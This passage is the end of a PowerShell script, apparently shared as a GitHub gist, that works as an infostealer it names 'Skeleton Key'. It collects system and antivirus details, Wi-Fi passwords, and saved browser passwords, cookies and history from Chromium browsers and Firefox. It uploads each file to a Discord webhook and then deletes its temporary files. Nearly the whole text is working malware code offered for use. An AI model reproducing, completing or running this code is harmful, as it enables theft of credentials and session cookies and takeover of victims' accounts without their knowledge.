Invoke-RestMethod -Uri $DiscordUrl -Method Post -ContentType "multipart/form-data; boundary=$boundary" -Body $fullBody -TimeoutSec 30 | Out-Null
sklog "Uploaded to Discord: $Description"
} catch { sklog "Discord upload FAILED: $_" }
}
function Write-ResultsFile {
param([string]$FileName, [array]$Data, [string]$Header)
$path = Join-Path $skOut $FileName
$lines = @()
if ($Header) { $lines += $Header }
if ($Data -and $Data.Count -gt 0) {
$lines += ($Data | ForEach-Object { $_ | Out-String }) -replace '\s+$',''
} else {
$lines += '[No data found]'
}
[System.IO.File]::WriteAllText($path, ($lines -join "`r`n"), [System.Text.Encoding]::UTF8)
sklog "Wrote: $FileName ($((Get-Item $path).Length) bytes)"
}
# ==================== 14. MAIN EXECUTION ====================
try {
$hostname = $env:COMPUTERNAME
$username = $env:USERNAME
$osInfo = (Get-CimInstance Win32_OperatingSystem).Caption
$avInfo = Get-AVInfo
$timeStr = Get-Date -Format 'yyyy-MM-dd HH:mm:ss'
$sysBanner = "HOST: $hostname`n" +
"USER: $hostname\$username`n" +
"OS: $osInfo`n" +
"AV: $avInfo`n" +
"TIME: $timeStr"
sklog "System: $hostname / $username / $osInfo"
$wifiData = Get-WiFi
$allPasswords = @()
$allCookies = @()
$allHistory = @()
foreach ($browser in $ChromiumBrowsers) {
if (!(Test-Path $browser.Path)) { continue }
sklog "Processing: $($browser.Name)..."
$allPasswords += Get-ChromiumPasswords -BrowserName $browser.Name -UserDataPath $browser.Path
$allCookies += Get-ChromiumCookies -BrowserName $browser.Name -UserDataPath $browser.Path
$allHistory += Get-ChromiumHistory -BrowserName $browser.Name -UserDataPath $browser.Path
}
$ffProfile = Get-FirefoxProfilePath
if ($ffProfile) {
sklog "Processing Firefox: $ffProfile"
$ffPasswords = Get-FirefoxPasswords
$ffCookies = Get-FirefoxCookies
$ffHistory = Get-FirefoxHistory
if ($ffPasswords) { $allPasswords += $ffPasswords | ForEach-Object { [PSCustomObject]@{Url="[Firefox] "+$_.Url; Username=$_.Username; Password=$_.Password} } }
if ($ffCookies) { $allCookies += $ffCookies }
if ($ffHistory) { $allHistory += $ffHistory }
}
Write-ResultsFile -FileName 'system.txt' -Data @($sysBanner) -Header ''
Write-ResultsFile -FileName 'wifi.txt' -Data $wifiData -Header "SSID`tPassword`n---`t---"
Write-ResultsFile -FileName 'passwords.txt' -Data $allPasswords -Header "URL`tUsername`tPassword`n---`t---`t---"
Write-ResultsFile -FileName 'cookies.txt' -Data $allCookies -Header "Host`tName`tValue`tPath`tExpires`tSecure`tHttpOnly`n---`t---`t---`t---`t---`t---`t---"
Write-ResultsFile -FileName 'history.txt' -Data $allHistory -Header "URL`tTitle`tVisits`tLastVisit`n---`t---`t---`t---"
sklog "Uploading to Discord..."
Send-ToDiscord -FilePath "$skOut\system.txt" -Description "System Info"
Send-ToDiscord -FilePath "$skOut\wifi.txt" -Description "WiFi Passwords"
Send-ToDiscord -FilePath "$skOut\passwords.txt" -Description "Browser Passwords ($($allPasswords.Count) entries)"
Send-ToDiscord -FilePath "$skOut\cookies.txt" -Description "Browser Cookies ($($allCookies.Count) entries)"
Send-ToDiscord -FilePath "$skOut\history.txt" -Description "Browser History ($($allHistory.Count) entries)"
$pwCount = $allPasswords.Count
$ckCount = $allCookies.Count
$hiCount = $allHistory.Count
$wfCount = $wifiData.Count
$summaryText = "**SKELETON KEY - Extraction Complete**" + "``````" + $sysBanner + "``````" +
"PASSWORDS : $pwCount entries" + "`n" +
"COOKIES : $ckCount entries" + "`n" +
"HISTORY : $hiCount entries" + "`n" +
"WIFI : $wfCount profiles"
if ($DiscordUrl -and $DiscordUrl -ne 'YOUR_DISCORD_WEBHOOK_HERE') {
try {
Invoke-RestMethod -Uri $DiscordUrl -Method Post -Body @{content=$summaryText} -TimeoutSec 10 | Out-Null
sklog "Summary sent to Discord"
} catch { sklog "Summary upload FAILED: $_" }
}
sklog "=== EXTRACTION COMPLETE ==="
} catch {
sklog "FATAL ERROR: $_"
} finally {
Send-ToDiscord -FilePath $skLog -Description "Debug Log"
'' | Out-File -FilePath $skSig -Force -Encoding ASCII
Start-Sleep -Seconds 2
try { $animProc.Kill() } catch {}
Remove-Item $skTemp -Recurse -Force -ErrorAction SilentlyContinue
Remove-Item $skSig -Force -ErrorAction SilentlyContinue
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment